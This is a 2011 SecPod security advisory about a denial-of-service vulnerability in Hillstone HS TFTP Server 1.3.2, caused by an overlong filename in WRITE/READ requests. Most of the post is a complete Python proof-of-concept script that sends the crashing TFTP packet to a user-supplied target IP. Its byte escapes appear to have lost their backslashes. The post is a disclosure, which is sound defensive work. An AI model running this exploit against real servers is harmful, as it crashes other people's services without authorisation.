SecPod

Learn Search

Search across all Learn content

← Back to Security Research

Hillstone Software HS TFTP Server Denial Of Service Vulnerability

SecPod Research Team member (Prabhu S Angadi) has found Denial Of Service Vulnerability in Hillstone Software HS TFTP Server. The vulnerability is caused due to improper validation of WRITE/READ Request Parameter containing long file name. The flaw can be exploited to crash the service but can be st...

Dec 1, 2011By Veerendra GG2 min read

SecPod Research Team member (Prabhu S Angadi) has found Denial Of Service Vulnerability in Hillstone Software HS TFTP Server. The vulnerability is caused due to improper validation of WRITE/READ Request Parameter containing long file name. The flaw can be exploited to crash the service but can be stopped using a vulnerability management tool.

Also, a patch management solution can patch this flaw.

POC : Download here.

More information on the flaws can be found here.

plaintext
#!/usr/bin/python
##############################################################################
# Title     : Hillstone Software HS TFTP Server Denial Of Service Vulnerability
# Author    : Prabhu S Angadi from SecPod Technologies (www.secpod.com)
# Vendor    : http://www.hillstone-software.com/hs_tftp_details.htm
# Advisory  : https://www.secpod.com/blog/?p=419
#             http://secpod.org/advisories/SecPod_Hillstone_Software_HS_TFTP_Server_DoS.txt
#             http://secpod.org/exploits/SecPod_Exploit_Hillstone_Software_HS_TFTP_Server_DoS.py
# Version   : Hillstone Software HS TFTP 1.3.2
# Date      : 02/12/2011
##############################################################################

import socket,sys,time

port   = 69
target = raw_input("Enter host/target ip address: ")

if not target:
    print "Host/Target IP Address is not specified"
    sys.exit(1)

print "you entered ", target

try:
    socket.inet_aton(target)
except socket.error:
    print "Invalid IP address found ..."
    sys.exit(1)

try:
    sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
except:
    print "socket() failed"
    sys.exit(1)

## File name >= 222 length leads to crash
exploit = "x90" * 2222

mode = "binary"
print "File name WRITE/READ crash"

## WRITE command = x00x02
data = "x00x02" + exploit + "" + mode + ""

## READ command = x00x01
## data = "x00x01" + exploit + "" + mode + ""

sock.sendto(data, (target, port))
time.sleep(2)
sock.close()
try:
    sock.connect()
except:
    print "Remote TFTP server port is down..."
    sys.exit(1)

Welcome any feedback or suggestion.

Cheers!
SecPod Research Team

Featured Posts

Open BlueMoon: The Exploit Kit Powering Multiple Spy Groups and Zero-Day Attacks
BlueMoon: The Exploit Kit Powering Multiple Spy Groups and Zero-Day Attacks

CVE Research

BlueMoon: The Exploit Kit Powering Multiple Spy Groups and Zero-Day Attacks

Sep 16, 2026

Open CVE-2026-76461: Critical Cisco Secure Email Gateway SQL Injection Flaw Under Active Exploitation
CVE-2026-76461: Critical Cisco Secure Email Gateway SQL Injection Flaw Under Active Exploitation

CVE Research

CVE-2026-76461: Critical Cisco Secure Email Gateway SQL Injection Flaw Under Active Exploitation

Sep 16, 2026

Open Plex Releases Security Fixes for Media Server and Desktop Clients - Users Urged to Update Immediately
Plex Releases Security Fixes for Media Server and Desktop Clients - Users Urged to Update Immediately

CVE Research

Plex Releases Security Fixes for Media Server and Desktop Clients - Users Urged to Update Immediately

Plex has released security updates for Plex Media Server and Plex Desktop and is urging users to upgrade immediately. Plex Media Server v1.43.2 and earlier should be moved to version 1.43.3; Plex Desktop should be updated to 1.115.0. CVE identifiers have been requested, and full technical details are not public yet. This article covers the fixed versions, how to update across Windows, macOS, Linux, NAS, Docker, and other platforms, and what administrators should do now.

Sep 15, 2026

Open From Gitea Exploitation to Root Access: Uncovering Red Heron’s Global Attack Campaign
From Gitea Exploitation to Root Access: Uncovering Red Heron’s Global Attack Campaign

CVE Research

From Gitea Exploitation to Root Access: Uncovering Red Heron’s Global Attack Campaign

Sep 15, 2026

Hillstone Software HS TFTP Server Denial Of Service Vulnerability | SecPod